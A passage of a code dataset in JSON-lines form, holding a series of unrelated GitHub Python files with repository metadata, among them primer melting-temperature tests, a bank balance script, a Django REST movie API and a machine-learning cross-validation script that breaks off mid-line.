print(i,seq,expected,actual,abs(expected-actual))\n np.testing.assert_allclose(actual,expected,atol=abstol,\n rtol=rtol,**kwargs)\n \ndef TestPCRMeltingTemperatures():\n idt = lambda x: melt.GetIdtMeltingTemperatureForPCR(x)\n SeqsExpected = [\n # 2016-8-10\n [\"TAC GAC TAG GCC TAG AT\",55],\n [\"CTC CTA GTC GTA CGA CTA\",56.1],\n [\"AAG TGG TCC TAG TCG TAC\",57.1],\n ]\n TestMeltingTemperatures(SeqsExpected,idt)\n \ndef TestBufferMeltingTemperatures():\n idt = lambda x : melt.GetIdtMeltingTemperature(x)\n # tested these sequences on IDTs website, with date as given\n seqsExpected = [\n # 12-mers (3/16/2016)\n [\"AGA GTG GTC CTA\",36.8],\n [\"TAG GAC CAC TCT\",36.8],\n [\"TAG GAC CAC TCG\",39.9],\n [\"TAC GGA CCA CTC\",40.4],\n [\"CGG CGT GCG TCG\",54.7],\n [\"AGG AGA AGT GTC\",36.2],\n [\"AGT CTC CTT GTC\",36.2],\n # 15-mers (3/18/2016)\n [\"GTG TAG ACT GAA CTC\",41.6],\n [\"AGA GTG GTC CTA GAC\",45.4],\n # (4/26/2016)\n [\"GCT ACG GAC ACT\",41.5],\n [\"CTA CGG ACC ACT CG\",48.8],\n [\"CGG ACC ACT CTG\",43.1],\n [\"GGC AGA GTG GTC CTA\",49.8],\n [\"GAC AGA GTG GTC CTA\",45.8],\n [\"CGG GAC CAC TCT\",44.9],\n [\"CGG GAC CAC TCT\",44.9],\n ]\n TestMeltingTemperatures(seqsExpected,idt)\n\n\ndef run():\n \"\"\"\n \n\n Args:\n param1: This is the first param.\n \n Returns:\n This is a description of what is returned.\n \"\"\"\n TestBufferMeltingTemperatures()\n TestPCRMeltingTemperatures()\n \nif __name__ == \"__main__\":\n run()\n","repo_name":"prheenan/Research","sub_path":"Perkins/Projects/Primers/Testing/TestUtil/TestMelt.py","file_name":"TestMelt.py","file_ext":"py","file_size_in_byte":2586,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"20789497187","text":"import json\n\ndef client_balance():\n option = input('\\nEnter client ID or Exit to return to main menu:\\n> ')\n print('*' * 50)\n\n json_client_file = open('bank.json', 'r')\n client_dict = json.load(json_client_file)\n json_client_file.close()\n do_edit = True\n while do_edit:\n if option.lower() == 'exit':\n break\n elif option not in client_dict:\n print('Invalid ID.')\n break\n else:\n print(f'Current balance for \"{client_dict[option][\"name\"]}\":\\n-- {client_dict[option][\"balance\"]}')\n while do_edit:\n try:\n edit_balance = int(input('Enter new balance:\\n'))\n except:\n print('Please input a valid number')\n continue\n\n client_dict[option][\"balance\"] = edit_balance\n update_client_json = open('bank.json', 'w')\n update_client_json.write(json.dumps(client_dict, indent=4))\n update_client_json.close()\n print('Balance updated')\n do_edit = False","repo_name":"PaulMoldovan/BankApp","sub_path":"balance.py","file_name":"balance.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23463978571","text":"\n\ndef process(dline,count):\n\n dArr = dline.split()\n x = int(dArr[0])\n r = int(dArr[1])\n c = int(dArr[2])\n \n gab = \"GABRIEL\"\n rich = \"RICHARD\"\n winner = gab\n\n if ( x >= 7):\n winner = rich\n elif ((r*c)%x != 0):\n winner = rich\n elif (x-1 > r or x-1 > c):\n winner = rich\n else:\n winner = gab\n\n str1 = \"Case #\"+str(count)+\": \"+ winner+\"\\n\"\n out.write(str1)\ncount = 1\n\nout = open('output', 'w')\nf = open('standingOinput', 'r')\n\ntasks = int(f.readline())\n\nfor i in range(0,tasks):\n \n process(f.readline(), count)\n count+=1\n\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_158/1161.py","file_name":"1161.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71026906434","text":"import os\nimport math\n\n\ndef ver(text:str):\n\twhile True:\n\t\ttry:\n\t\t\treturn int(input(text))\n\t\texcept ValueError:\n\t\t\tprint('Pilih Folder Sesuai Angka')\n\t\t\tcontinue\n\t\telse: print('Terjadi Error Pada Fungsi ver()')\n\n\n\n#List File\ndef lf(format = 'all'):\n\tif format == 'all':\n\t\t#semua format\n\t\ta = [i for i in os.listdir() if os.path.isdir(i) == False]\n\t\treturn a\n\t\n\t#Dengan format\n\telse:\n\t\treturn [i for i in os.listdir() if os.path.isdir(i) == False and i.endswith(format)]\n\n\n\n\ndef main(format = 'all'):#\n\tlistdir = [i for i in os.listdir() if os.path.isdir(i) == True]\n\t#View\n\tprint('Daftar Folder:'); j = 1\n\tfor i in listdir:\n\t\tprint(f'{j}.{i}'); j += 1\n\t\n\t\n\twhile True:\n\t\ttry:\n\t\t\tinputU = ver('\\nPilih Folder:') - 1\n\t\t\tos.system('clear')\n\t\t\tprint(f'Nama Folder\\t:{listdir[inputU]}')\n\t\t\tos.chdir(listdir[inputU])\n\t\t\tbreak\n\t\texcept IndexError:\n\t\t\tprint(\"Di Luar Index\")\n\t\n\t\n\tsize = 0\n\tfor i in lf():\n\t\tsize += math.ceil(os.path.getsize(i))/1024/1024\n\t\t\n\tbt = 'MB'\n\tif size >= 1000: size /= 1024; bt = \"GB\"\n\tprint(f\"Ukuran Folder\\t:{math.ceil(size)}{bt}\")\n\tif size > 0:\n\t\tprint(f\"Rata-Rata/File\\t:{math.ceil(size/len(lf()))}MB\")\n\tprint('File\\t\\t:')\n\tfor i in sorted(lf()):\n\t\tif i.startswith(\".\"): continue\n\t\tprint(f' {i}')\n\t\n\t\n\t#Rename File\n\tif os.path.exists('.dummy') == False:\n\t\tif input(\"Rename? [y/n] \") == \"y\":\n\t\t\tj = 1#Episode\n\t\t\tfor i in sorted(lf()):\n\t\t\t\tos.rename(i,f'Episode0{j}.{format}'); j += 1\n\t\t#Update Later\n\t\t#If len(file) >= 9: file name = Episode010\n\t\t\n\t\t\n\t\tinput(\"Rename Complete!\")\n\t\tprint(\"File\\t:\")\n\t\tfor i in sorted(lf()):\n\t\t\tprint(f\" {i}\")\n\t\twith open('.dummy','w') as file:\n\t\t\tpass\n\telse:\n\t\tprint(\"Tidak Bisa Rename!\\nFile Sudah Di Rename Sebelumnya\")\n###\nif __name__ == '__main__':\n\twhile True:\n\t\tos.system('clear')\n\t\tmain('mp4')#format file\n\t\tinput(\"Pause\")\n\t\tos.chdir('..')","repo_name":"MakotoIsNotAvailable/project","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":1801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71174672195","text":"'''\nDescription: \nAutor: Jechin\nDate: 2021-11-08 23:28:09\nLastEditors: Jechin\nLastEditTime: 2021-11-08 23:45:28\n'''\n\nimport numpy as np\n\ndef fmeasure(x_true, y_pred, n_sample, k_clusters):\n x_true_process = []\n y_pred_precess = []\n for id_ in range(k_clusters):\n x_true_process.append(np.where(np.array(x_true) == id_)[0])\n y_pred_precess.append(np.where(np.array(y_pred) == id_)[0])\n\n f_measure = 0.0\n\n for x in range(k_clusters):\n f1_scores = np.array([0]*k_clusters)\n for y in range(k_clusters):\n n_ij = np.intersect1d(x_true_process[x], y_pred_precess[y]).size\n if n_ij :\n recall = n_ij / x_true_process[x].size\n precision = n_ij / y_pred_precess[y].size\n f1_scores = np.append(f1_scores, 2 * recall * precision/(recall + precision))\n \n f1 = f1_scores[np.argmax(f1_scores)]\n f_measure += x_true_process[x].size / n_sample * f1\n \n return f_measure\n","repo_name":"Jechin/DifferentialPrivacyLearning","sub_path":"APDPk-Means/Fmeasure.py","file_name":"Fmeasure.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25779334207","text":"from django.shortcuts import render\nfrom django.core import serializers\nfrom rest_framework import serializers\nfrom rest_framework.renderers import JSONRenderer\nfrom django_react_app.models import Product\n# Create your views here.\n\n\nclass ProductsSerializer(serializers.ModelSerializer):\n class Meta:\n model = Product\n fields = ['id', 'name']\n\n\ndef prductsView(request):\n snippets = Product.objects.all()\n serializer = ProductsSerializer(snippets, many=True)\n products = str(JSONRenderer().render(serializer.data), 'utf-8')\n\n context = {\n 'django_products': Product.objects.all(),\n 'react_products': products\n }\n\n return render(request, 'products.html', context=context)\n","repo_name":"Florian325/Django-React","sub_path":"django_react_project/django_react_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"14430479695","text":"import sys\nimport os\n\nfrom pathlib import Path\n\nfrom tmarl.runners.base_evaluator import Evaluator\nfrom tmarl.envs.football.football import RllibGFootball\nfrom tmarl.envs.env_wrappers import ShareSubprocVecEnv, ShareDummyVecEnv\n\n\nclass FootballEvaluator(Evaluator):\n def __init__(self, argv):\n super(FootballEvaluator, self).__init__(argv)\n\n def setup_run_dir(self, all_args):\n dump_dir = Path(all_args.replay_save_dir)\n if not dump_dir.exists():\n os.makedirs(str(dump_dir))\n self.dump_dir = dump_dir\n\n return super(FootballEvaluator, self).setup_run_dir(all_args)\n\n def make_eval_env(self, all_args, Env_Class, SubprocVecEnv, DummyVecEnv):\n \n def get_env_fn(rank):\n def init_env():\n env = Env_Class(all_args, rank, log_dir=str(self.dump_dir), isEval=True)\n env.seed(all_args.seed * 50000 + rank * 10000)\n return env\n return init_env\n\n if all_args.n_eval_rollout_threads == 1:\n return DummyVecEnv([get_env_fn(0)])\n else:\n return SubprocVecEnv([get_env_fn(i) for i in range(all_args.n_eval_rollout_threads)])\n\n def extra_args_func(self, args, parser):\n parser.add_argument('--scenario_name', type=str,\n default='simple_spread', help=\"Which scenario to run on\")\n parser.add_argument('--num_agents', type=int,\n default=0, help=\"number of players\")\n\n # football config\n parser.add_argument('--representation', type=str,\n default='raw', help=\"format of the observation in gfootball env\")\n parser.add_argument('--rewards', type=str,\n default='scoring', help=\"format of the reward in gfootball env\")\n parser.add_argument(\"--render_only\", action='store_true', default=False,\n help=\"if ture, render without training\")\n\n all_args = parser.parse_known_args(args)[0]\n return all_args\n\n def get_env(self):\n return RllibGFootball, ShareSubprocVecEnv, ShareDummyVecEnv\n\n def init_driver(self):\n if not self.all_args.separate_policy:\n from tmarl.drivers.shared_distributed.football_driver import FootballDriver as Driver\n else:\n raise NotImplementedError\n driver = Driver(self.config)\n return driver\n\n\ndef main(argv):\n evaluator = FootballEvaluator(argv)\n evaluator.run()\n\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n","repo_name":"TARTRL/TiKick","sub_path":"tmarl/runners/football/football_evaluator.py","file_name":"football_evaluator.py","file_ext":"py","file_size_in_byte":2543,"program_lang":"python","lang":"en","doc_type":"code","stars":97,"dataset":"github-code","pt":"61"} +{"seq_id":"44092232690","text":"\n# Challenge: https://www.hackerrank.com/challenges/find-second-maximum-number-in-a-list/problem\n\n\n# My solution\nif __name__ == '__main__':\n n = int(raw_input())\n arr = map(int, raw_input().split())\n uniqueArr = list(set(arr))\n uniqueArr.sort()\n print(uniqueArr[(len(uniqueArr) - 2)])\n","repo_name":"meda123/Hackerrank_Challenges","sub_path":"Python/SecondMaxNumber.py","file_name":"SecondMaxNumber.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36130855017","text":"from rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom drf_yasg.utils import swagger_auto_schema\nfrom django_filters.rest_framework import DjangoFilterBackend\nfrom rest_framework.permissions import IsAuthenticated, IsAuthenticatedOrReadOnly\nfrom rest_framework import viewsets, permissions, generics, renderers\nfrom rest_framework.filters import SearchFilter, OrderingFilter\nfrom django.shortcuts import get_object_or_404\nfrom datetime import datetime, date, timedelta\nfrom django.utils import timezone\nfrom drf_yasg import openapi\nfrom django.conf import settings\n\nfrom profiles.models import Watchlist, WatchlistTime \nfrom .models import Movie, Review, Director, Genre, StreamingService\nfrom .service import (\n MovieFilter, PaginationMovies, get_movie_rating_star,\n get_review_action, get_movies_in_the_last_two_month,\n get_movies_catalog_queryset, WatchlistMovieFilter\n)\nfrom .serializers import (\n HomePageVideoSerializer, GenreListSerializer, MovieListSerializer, \n StreamingListSerializer, MovieDetailSerializer, ReviewListSerializer,\n ReviewCreateSerializer, ReviewActionSerializer, ReviewSerializer, \n ReviewDeleteSerializer, CreateRatingSerializer, UserWatchlistSerializer, \n RemoveWatchlistSerializer, DirectorListSerializer, DirectorDetailSerializer, \n)\n\nCATALOG_SECTION_NAMES = settings.CATALOG_SECTION_NAMES\n\n\nclass HomePageVideoView(APIView):\n \"\"\"Ana səhifədəki video\"\"\"\n\n permission_classes = [IsAuthenticatedOrReadOnly]\n\n def get(self, request):\n obj = get_movies_in_the_last_two_month(self).first()\n serializer = HomePageVideoSerializer(obj)\n return Response(serializer.data, status=200)\n\n\nclass AllGenresListView(generics.ListAPIView):\n \"\"\"Janrların siyahısını göstərmək\"\"\"\n\n queryset = Genre.objects.all()\n permission_classes = [IsAuthenticatedOrReadOnly]\n serializer_class = GenreListSerializer\n\n\nclass NewMoviesListView(APIView):\n \"\"\"Yeni kinoların siyahısını göstərmək\"\"\"\n\n permission_classes = [IsAuthenticatedOrReadOnly]\n\n count_param = openapi.Parameter(\n 'count', openapi.IN_QUERY, description=\"movies count\", \n type=openapi.TYPE_INTEGER, required=True\n )\n @swagger_auto_schema(\n manual_parameters=[count_param],\n responses={200: MovieListSerializer}\n )\n def get(self, request):\n end = request.GET.get('count', '')\n if end == '':\n return Response(\n {\"count\": \"This field is required\"}, status=400\n )\n try:\n end = int(end)\n except ValueError:\n return Response(\n {\"count\": \"This field has to be number\"}, status=400\n )\n end = 8 if end != 8 and end != 6 else end\n qs = get_movies_in_the_last_two_month(self)[1 : end + 1]\n serializer = MovieListSerializer(qs, many=True)\n return Response(serializer.data, status=200)\n\n\nclass MovieCatalogListView(APIView): \n \"\"\"Kinoları kataloqa görə göstərmək\"\"\"\n\n permission_classes = [IsAuthenticatedOrReadOnly]\n\n count_param = openapi.Parameter(\n 'count', openapi.IN_QUERY, description=\"movies count\", \n type=openapi.TYPE_INTEGER, required=True\n )\n section_param = openapi.Parameter(\n 'section', openapi.IN_QUERY, \n description=\"sections: {}\".format(CATALOG_SECTION_NAMES), \n type=openapi.TYPE_STRING, required=True\n )\n @swagger_auto_schema(\n manual_parameters=[count_param, section_param],\n responses={200: MovieListSerializer}\n )\n def get(self, request):\n return get_movies_catalog_queryset(self.request)\n\n\nclass PlatformsListView(generics.ListAPIView):\n \"\"\"Platformalarin siyahisi\"\"\"\n\n queryset = StreamingService.objects.all()\n permission_classes = [IsAuthenticatedOrReadOnly]\n serializer_class = StreamingListSerializer\n\n\nclass AllMoviesListView(generics.ListAPIView):\n \"\"\"Bütün kinoların siyahısını göstərmək\"\"\"\n\n queryset = Movie.objects.filter(draft=False)\n permission_classes = [IsAuthenticatedOrReadOnly]\n serializer_class = MovieListSerializer\n filter_backends = (DjangoFilterBackend, SearchFilter, OrderingFilter)\n filterset_class = MovieFilter\n pagination_class = PaginationMovies\n ordering_fields = [\"imdb\", \"year\"]\n search_fields = [\"title\"]\n ordering = [\"-premiere\", \"-imdb\"]\n\n\nclass SearchMovieListView(APIView):\n \"\"\"Butun kinolarin arasinda limitle axtaris\"\"\"\n\n permission_classes = [IsAuthenticatedOrReadOnly]\n\n title_param = openapi.Parameter(\n 'title', openapi.IN_QUERY,\n type=openapi.TYPE_STRING, required=True\n )\n @swagger_auto_schema(\n manual_parameters=[title_param],\n responses={200: MovieListSerializer}\n )\n def get(self, request, *args, **kwargs):\n title = request.GET.get('title', '')\n if title != '':\n qs = Movie.objects.filter(\n draft=False, title__icontains=title\n ).order_by('imdb__vote')[:5]\n serializer = MovieListSerializer(qs, many=True)\n return Response(serializer.data, status=200)\n else:\n return Response(\n {\"message\": \"For searching you need write something\"}, \n status=400\n )\n\n\nclass MovieDetailView(generics.RetrieveAPIView):\n \"\"\"Tək bir kinonun məlumatlarını göstərmək\"\"\"\n\n permission_classes = [IsAuthenticatedOrReadOnly]\n serializer_class = MovieDetailSerializer\n # lookup_field = 'movie_slug'\n\n def get_queryset(self):\n return get_movie_rating_star(self.request)\n\n\nclass ReviewListView(generics.RetrieveAPIView):\n \"\"\"Bir kinoya aid rəyləri göstərmək\"\"\"\n\n queryset = Movie.objects.filter(draft=False)\n permission_classes = [IsAuthenticatedOrReadOnly]\n serializer_class = ReviewListSerializer\n\n\nclass ReviewCreateView(generics.CreateAPIView):\n \"\"\"Rəylərin kinoya əlavə olunması\"\"\"\n\n permission_classes = [IsAuthenticated]\n serializer_class = ReviewCreateSerializer\n\n def perform_create(self, serializer):\n serializer.save(user=self.request.user)\n\n\nclass ReviewActionView(APIView):\n \"\"\"Rəylərin like, unlike, reply olunması\"\"\"\n\n permission_classes = [IsAuthenticated]\n\n @swagger_auto_schema(\n request_body=ReviewActionSerializer, \n responses={200: ReviewSerializer}\n ) \n def post(self, request):\n return get_review_action(self.request)\n \n\nclass ReviewDeleteView(generics.DestroyAPIView):\n \"\"\"Rəylərin silinmesi\"\"\"\n\n permission_classes = [IsAuthenticated]\n serializer_class = ReviewDeleteSerializer\n\n def get_queryset(self):\n if getattr(self, 'swagger_fake_view', False):\n return Review.objects.none()\n \n queryset = Review.objects.filter(user=self.request.user)\n return queryset\n\n def perform_destroy(self, instance):\n instance.delete()\n\n\nclass AddStarRatingView(generics.CreateAPIView):\n \"\"\"Kinolara reytinqin əlavə olunması\"\"\"\n\n permission_classes = [IsAuthenticated]\n serializer_class = CreateRatingSerializer\n\n def perform_create(self, serializer):\n serializer.save(user=self.request.user)\n\n\nclass AddOrRemoveMovieWatchlistView(APIView):\n \"\"\"Kinonu watchlist siyahisina elave etmek\"\"\"\n\n permission_classes = [IsAuthenticated]\n\n def post(self, request, movie_id):\n movie_obj = get_object_or_404(Movie, pk=movie_id)\n user_list, created = Watchlist.objects.get_or_create(user=request.user)\n if Watchlist.objects.filter(user=request.user, movie=movie_id).exists():\n user_list.movie.remove(movie_obj)\n return Response(\n {\"message\": \"{} removed from your watchlist\".format(movie_obj.title)}, \n status=200\n )\n else:\n user_list.movie.add(movie_obj)\n return Response(\n {\"message\": \"{} added to your watchlist\".format(movie_obj.title)}, \n status=200\n )\n\n\nclass RemoveMovieWatchlistView(APIView):\n \"\"\"Kinolari watchlist siyahisindan cixartmaq\"\"\"\n\n permission_classes = [IsAuthenticated]\n \n @swagger_auto_schema(\n request_body=RemoveWatchlistSerializer, \n responses={200: \"Successfully deleted movies titles\"}\n ) \n def delete(self, request, *args, **kwargs):\n serializer = RemoveWatchlistSerializer(data=request.data)\n if serializer.is_valid(raise_exception=True):\n ids = serializer.validated_data.get('ids')\n w_obj = Watchlist.objects.filter(user=request.user).first()\n movies = WatchlistTime.objects.filter(\n watchlist=w_obj, movie__id__in=ids\n )\n if movies.exists() and movies.count() == len(ids):\n movies.delete()\n titles = [Movie.objects.get(id=obj).title for obj in ids]\n return Response({\"movies\": titles}, status=200)\n else:\n return Response(\n {\"message\": \"These movies not found in your watchlist\"}, \n status=404\n )\n\n\nclass UserWatchlistView(generics.ListAPIView):\n \"\"\"Userin watchlist siyahisi\"\"\"\n\n permission_classes = [IsAuthenticated]\n serializer_class = UserWatchlistSerializer\n filter_backends = (DjangoFilterBackend, SearchFilter, OrderingFilter)\n filterset_class = WatchlistMovieFilter\n pagination_class = PaginationMovies\n ordering_fields = [\"movie__year\",]\n search_fields = [\"movie__title\"]\n\n def get_queryset(self):\n if getattr(self, 'swagger_fake_view', False):\n return WatchlistTime.objects.none()\n\n obj = Watchlist.objects.filter(user=self.request.user).first()\n return WatchlistTime.objects.filter(watchlist=obj)\n\n\nclass SearchMovieWatchlistView(APIView):\n \"\"\"Userin watchlist siyahisinda limitle axtaris\"\"\"\n\n permission_classes = [IsAuthenticated]\n\n title_param = openapi.Parameter(\n 'title', openapi.IN_QUERY,\n type=openapi.TYPE_STRING, required=True\n )\n @swagger_auto_schema(\n manual_parameters=[title_param],\n responses={200: MovieListSerializer}\n )\n def get(self, request, *args, **kwargs):\n title = request.GET.get('title', '')\n if title != '':\n qs = Movie.objects.filter(\n draft=False, title__icontains=title, \n watchlist__user=request.user\n ).order_by('imdb__vote')[:5]\n serializer = MovieListSerializer(qs, many=True)\n return Response(serializer.data, status=200)\n else:\n return Response(\n {\"message\": \"For searching you need write something\"}, \n status=400\n )\n\n\nclass DirectorListView(generics.ListAPIView):\n \"\"\"Bütün rejissorların siyahısı\"\"\"\n\n queryset = Director.objects.all()\n permission_classes = [IsAuthenticatedOrReadOnly]\n serializer_class = DirectorListSerializer\n pagination_class = PaginationMovies\n\n\nclass DirectorDetailView(generics.RetrieveAPIView):\n \"\"\"Tek bir rejissorun melumatları\"\"\"\n\n queryset = Director.objects.all()\n permission_classes = [IsAuthenticatedOrReadOnly]\n serializer_class = DirectorDetailSerializer\n\n\n\"\"\"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# , id=self.kwargs['pk'])\n\n# ReadOnlyModelViewSet\nclass DirectorReadOnly(viewsets.ReadOnlyModelViewSet):\n queryset = Director.objects.all()\n # serializer_class = DirectorListSerializer\n\n def get_serializer_class(self):\n if self.action == 'list':\n return DirectorListSerializer\n elif self.action == 'retrieve':\n return DirectorDetailSerializer\n\n\n# ModelViewSet\nclass DirectorModel(viewsets.ModelViewSet):\n queryset = Director.objects.all()\n serializer_class = DirectorListSerializer\n\n# ViewSet\nclass DirectorViewSet(viewsets.ViewSet):\n def list(self, request):\n queryset = Director.objects.all()\n serializer = DirectorListSerializer(queryset, many=True)\n return Response(serializer.data)\n \n def retrieve(self, request, pk=None):\n queryset = Director.objects.all()\n director = get_object_or_404(queryset, pk=pk)\n serializer = DirectorDetailSerializer(director)\n return Response(serializer.data)\n\n\n@ api_view(['POST'])\n@ permission_classes([IsAuthenticated])\ndef review_action_view(request, *args, **kwargs):\n\n serializer = ReviewActionSerializer(data=request.data)\n if serializer.is_valid(raise_exception=True):\n data = serializer.validated_data\n review_id = data.get(\"review_id\")\n action = data.get(\"action\")\n content = data.get(\"content\")\n qs = Review.objects.filter(id=review_id)\n if not qs.exists():\n return Response({}, status=404)\n obj = qs.first()\n if action == \"like\":\n if request.user in obj.likes.all():\n obj.likes.remove(request.user)\n else:\n obj.likes.add(request.user)\n obj.unlikes.remove(request.user)\n serializer = ReviewSerializer(obj)\n return Response(serializer.data, status=200)\n elif action == \"unlike\":\n if request.user in obj.unlikes.all():\n obj.unlikes.remove(request.user)\n else:\n obj.unlikes.add(request.user)\n obj.likes.remove(request.user)\n serializer = ReviewSerializer(obj)\n return Response(serializer.data, status=200)\n elif action == \"reply\":\n if content == \"\":\n return Response({\"message\": \"You cannot post empty review\"}, status=401)\n else:\n new_review = Review.objects.create(\n user=request.user,\n parent=obj,\n content=content,\n movie=obj.movie,\n )\n serializer = ReviewSerializer(new_review)\n return Response(serializer.data, status=201)\n return Response({}, status=200)\n\"\"\"\n","repo_name":"resadnaghiyev/moviesapi-v2","sub_path":"movies/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":14069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73652834113","text":"###############################################################\n# CLASSIFICATION PROBLEM\n###############################################################\nimport numpy as np\nfrom matplotlib.pyplot import figure, boxplot, xlabel, ylabel, show\nfrom sklearn import model_selection, tree\nimport sklearn.linear_model as lm\nfrom sklearn.neighbors import KNeighborsClassifier\nimport pickle\nfrom _load_data import *\n\n# Initialize variables\nK_out = 5\nK_in = 10\n# Outer K-fold crossvalidation\nCV_out = model_selection.KFold(n_splits=K_out, shuffle=True)\nerror_weight = np.empty(K_out);\n\n# Decision Tree Variables\nmax_depth = 20\ncriterion = 'gini'\ntree_complexity = np.arange(2, max_depth + 1, 1) # Tree complexity parameter - constraint on maximum depth\nerror_per_depth = np.empty((max_depth - 1, K_in)) # error per depth for each k_in\navg_error_depth = np.empty(max_depth - 1) # average error per depth\nbest_depth = np.empty(K_out) # best error per k_out\ntest_error_dec_tree = np.empty(K_out) # test error per model\nbest_dec_tree_model_error = 1;\n\n# Logistic Regression Variables\nmax_c = 5\nerror_per_c = np.empty((max_c, K_in)) # error per c for each k_in\navg_error_c = np.empty(max_c) # average error per c\nbest_c = np.zeros(K_out) # best error per k_out\ntest_error_log_reg = np.empty(K_out) # error per model\nbest_log_reg_model_error = 1;\nbest_log_reg_model_weight = np.zeros(numAttributes + 1);\n\n# KNN Variables\nmax_l = 250\nerror_per_l = np.empty((max_l, K_in)) # error per lambda for each k_in\navg_error_l = np.empty(max_l) # average error per lambda\nbest_l = np.empty(K_out) # best error per k_out\ntest_error_knn = np.empty(K_out) # error per model\nbest_knn_model_error = 1;\n\nk_out = 0\nfor train_out_index, test_out_index in CV_out.split(X):\n print('\\nComputing CV_out fold: {0}/{1}..'.format(k_out + 1, K_out))\n\n # extract training and test set for current CV_out fold\n X_train_out, Y_train_out = X[train_out_index,:], Y[train_out_index]\n X_test_out, Y_test_out = X[test_out_index,:], Y[test_out_index]\n error_weight[k_out] = len(X_test_out)/(len(X_test_out)*K_out);\n\n # Inner K-fold crossvalidation\n CV_in = model_selection.KFold(n_splits=K_in, shuffle=True)\n\n k_in = 0\n for train_in_index, test_in_index in CV_in.split(X_train_out):\n print(' Computing CV_in fold: {0}/{1}..'.format(k_in + 1, K_in))\n\n # extract training and test set for current CV_in fold\n X_train_in, Y_train_in = X_train_out[train_in_index, :], Y_train_out[train_in_index]\n X_test_in, Y_test_in = X_train_out[test_in_index, :], Y_train_out[test_in_index]\n\n # DECISION TREE\n for depth_index, depth in enumerate(tree_complexity):\n # Fit decision tree classifier with different pruning levels\n dtc = tree.DecisionTreeClassifier(criterion=criterion, max_depth=depth)\n dtc = dtc.fit(X_train_in, Y_train_in.ravel())\n y_est_test_in = dtc.predict(X_test_in)\n\n # find estimated test error for each X_test_in value\n error_y_est_test_in = sum(np.abs(y_est_test_in - Y_test_in)) / float(len(y_est_test_in))\n # find average estimated test error per depth for each k_out\n error_per_depth[depth_index, k_in] = error_y_est_test_in.mean()\n\n # LOGISTIC REGRESSION\n for c_index in range(0, max_c):\n # Fit classifier and classify the test points\n log_reg = lm.LogisticRegression(C=c_index + 1, solver='lbfgs', multi_class='multinomial')\n log_reg.fit(X_train_in, Y_train_in.ravel())\n y_est_test_in = log_reg.predict(X_test_in);\n\n # find estimated test error for each X_test_in value\n error_y_est_test_in = sum(np.abs(y_est_test_in - Y_test_in)) / float(len(y_est_test_in))\n # find average estimated test error per depth for each k_out\n error_per_c[c_index, k_in] = error_y_est_test_in.mean()\n\n # KNN\n for l_index in range(0, max_l):\n # Fit classifier and classify the test points\n knn = KNeighborsClassifier(n_neighbors=l_index + 1)\n knn.fit(X_train_in, Y_train_in.ravel());\n y_est_test_in = knn.predict(X_test_in);\n\n # find estimated test error for each X_test_in value\n error_y_est_test_in = sum(np.abs(y_est_test_in - Y_test_in)) / float(len(y_est_test_in))\n # find average estimated test error per depth for each k_out\n error_per_l[l_index, k_in] = error_y_est_test_in.mean()\n\n k_in += 1\n\n # DECISION TREE\n # =============\n # we find the mean error per depth, and we take the depth with the minimum error\n minError = 1\n for depth_index, depth in enumerate(tree_complexity):\n avg_error_depth[depth_index] = error_per_depth[depth_index, :].mean()\n if avg_error_depth[depth_index] < minError:\n minError = avg_error_depth[depth_index]\n best_depth[k_out] = depth\n\n # we create a model using the selected depth and find its error\n dtc = tree.DecisionTreeClassifier(criterion=criterion, max_depth=best_depth[k_out])\n dtc = dtc.fit(X_train_out, Y_train_out.ravel())\n y_dec_tree = dtc.predict(X_test_out)\n\n # we calculate the final error of each model\n test_error_dec_tree[k_out] = (sum(np.abs(y_dec_tree - Y_test_out)) / float(len(y_dec_tree))).mean();\n\n # save the model with the lowest error\n if test_error_dec_tree[k_out] <= best_dec_tree_model_error:\n best_dec_tree_model_error = test_error_dec_tree[k_out]\n best_dec_tree_model = dtc\n best_dec_tree_model_X_train = X_train_out\n best_dec_tree_model_Y_train = Y_train_out\n best_dec_tree_model_X_test = X_test_out\n best_dec_tree_model_Y_test = y_dec_tree\n\n print('\\n=============================')\n print('DECISION TREE')\n print('Best Depth: {0}'.format(best_depth[k_out]))\n print('Error: {0}'.format(test_error_dec_tree[k_out]))\n print('=============================')\n\n # LOGISTIC REGRESSION\n # ===================\n # we find the mean error per C, and we take the C with the minimum error\n minError = 1\n for c_index in range(0, max_c):\n avg_error_c[c_index] = error_per_c[c_index, :].mean()\n if avg_error_c[c_index] < minError:\n minError = avg_error_c[c_index]\n best_c[k_out] = int(c_index + 1);\n\n # we create a model using the best C and we find its error\n log_reg = lm.LogisticRegression(C=best_c[k_out], solver='lbfgs', multi_class='multinomial')\n log_reg.fit(X_train_out, Y_train_out.ravel())\n y_log_reg = log_reg.predict(X_test_out)\n\n # we calculate the error of the model\n test_error_log_reg[k_out] = (sum(np.abs(y_log_reg - Y_test_out)) / float(len(y_log_reg))).mean();\n\n # save the model with the lowest error\n if test_error_log_reg[k_out] <= best_log_reg_model_error:\n best_log_reg_model_error = test_error_log_reg[k_out]\n best_log_reg_model = log_reg\n best_log_reg_model_weight = log_reg.coef_\n best_log_reg_model_X_train = X_train_out\n best_log_reg_model_Y_train = Y_train_out\n best_log_reg_model_X_test = X_test_out\n best_log_reg_model_Y_test = y_log_reg\n\n print('=============================')\n print('LOGISTIC 